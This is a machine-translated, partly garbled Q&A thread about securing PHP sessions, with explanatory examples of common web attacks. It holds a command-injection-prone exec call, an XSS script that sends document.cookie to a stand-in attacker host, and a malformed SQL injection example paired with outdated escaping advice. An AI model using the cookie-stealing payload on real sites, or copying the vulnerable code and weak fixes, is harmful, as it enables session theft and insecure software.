保护PHP会话免受XSS攻击
我已经阅读了很多关于保护PHP会话免受XSS攻击,php,html,session,input,xss,Php,Html,Session,Input,Xss,我已经阅读了很多关于owasp.org的文章,其中一件我记得最清楚也不太明白的事情就是保护PHP会话 我不能很好地理解安全会话是如何进行的,因此我在这里提问。在PHP中保护会话的最佳方法是什么 附带问题:文件输入是否易受XSS攻击 这是PHP会话劫持的来源: 在PHP中保护会话的最佳方法是什么 安全性跟你去商店买一瓶牛奶没什么两样。阅读客户评论可能会告诉你什么是最好的牛奶,但是出于安全考虑,这有点不同 客户评论是Owasp概述的内容。它告诉您保护会话处理的一般动态和含义 由于PHP会话只是PH
owasp.org
的文章,其中一件我记得最清楚也不太明白的事情就是保护PHP会话
我不能很好地理解安全会话是如何进行的,因此我在这里提问。在PHP中保护会话的最佳方法是什么
附带问题:文件输入是否易受XSS攻击
这是PHP会话劫持的来源:
在PHP中保护会话的最佳方法是什么
安全性跟你去商店买一瓶牛奶没什么两样。阅读客户评论可能会告诉你什么是最好的牛奶,但是出于安全考虑,这有点不同
客户评论是Owasp概述的内容。它告诉您保护会话处理的一般动态和含义
由于PHP会话只是PHP本身提供的某种基本功能,因此没有多少东西可以告诉您保护这些会话的最佳方法,因为这在很大程度上取决于您如何使用该功能
然而,使用PHP会话的最佳方式的一个明显部分是关注PHP本身的安全报告和评论以及sepecific中的会话功能。然后注意保持最新的PHP版本,它提供了保护会话的最佳方法,可能是最新的稳定版本。有时,如果报告了缺陷,那么下一个版本中的问题并不是完全修复的,所以要小心
其他与PHP无关的内容都没有定义,Owasp在这里只能提供一个子集
因此,为了安全起见,在开始将其应用于(您的)PHP代码之前,首先了解Owasp文档中概述的内容是绝对重要的。例如,通过在这里提问,可以给IMHO的最佳指导是让您更难理解Owasp文档中正在发生的事情和含义
了解事物如何工作是安全的关键。确保所有环境安全的最佳方法是学习PHP web框架,该框架将为您提供随时可用的安全级别输入
很明显,安全性是不存在的,它存在一个更好的安全性和一个最差的安全性,我建议你不要重新发明轮子,因此根据社区bug/hack报告,web框架每天都在被深度修复,我认为这是你能获得的最大安全级别 以下是需要记住的一些主要问题: 不验证用户输入 假设您有一个允许用户查看文件夹内容的网页(例如,您的托管公司向用户显示其在服务器上的文件) 下面是一些可能实现这一点的代码:
$directory = $_GET['directory'];
exec("ls $directory", $result);
攻击者可以通过将其他命令传入url字符串来利用此漏洞,例如:
ls -LR
劫持
每个会话都有一个唯一的ID,如果攻击者获得该ID,他们可以(潜在地)使用该ID获取机密信息
为了防止出现这种情况,请用户在执行任何敏感操作之前(例如,如果用户希望重置其密码,请强制他们首先输入旧密码)重新验证(使用其密码)
XSS(跨站点脚本攻击)
每当您的站点包含用户生成的内容(博客上的评论就是一个很好的例子)时,攻击者就会在其内容(阅读:他的评论)中添加javaScript,这可能会对访问该页面的所有用户造成潜在威胁
以下是一个例子:
<script>
document.location = 'http://www.hackingYou.com/stealYourData.php?' + document.cookie;
</script>
SQL注入
(如果没有这个答案,这将是一个不体面的回答)
假设您有一个将用户登录到站点的网页。为了让他们成功登录,您需要在数据库中检查他们的记录
下面是它的编码方式:
$sql = "SELECT * FROM users WHERE username = $_GET['username'] and password = $_GET['password']";
攻击者可以通过输入密码字段来利用此漏洞:
abcd OR WHERE 1 = 1
生成的sql语句如下所示:
SELECT * FROM users WHERE username = hacker AND password = abcd OR WHERE 1 = 1;
这将向攻击者吐出所有用户名和密码的完整表
要防止此“清理”,请使用以下命令为SQL输入字符串:
strip_tags($input);
mysql_real_escape_string($input)
这是最基本的,显然,人们应该通过阅读最新的安全公告来随时了解最新情况,例如:
ls -LR
- (专注于安全性的PHP专家)
-如果您将服务器从internet上拔下,那么您和您的应用程序可以安全地休息。但是,哪一种更快,死亡
或退出
?;)@WesleyMurch,这取决于代码自身运行的服务器的移动速度。-因此,在当前时间点,我无法回答,因为这些信息缺失。然而,对于未来的读者来说,答案毫无意义,因为这种情况会再次发生。由于该函数是一个别名,它高度依赖于地球自转和海拔高度。顺便说一句,谢谢你,hakre它工作得很好。这高度依赖于框架,并且有缺点,即每个社区可能会使用术语会话以及安全性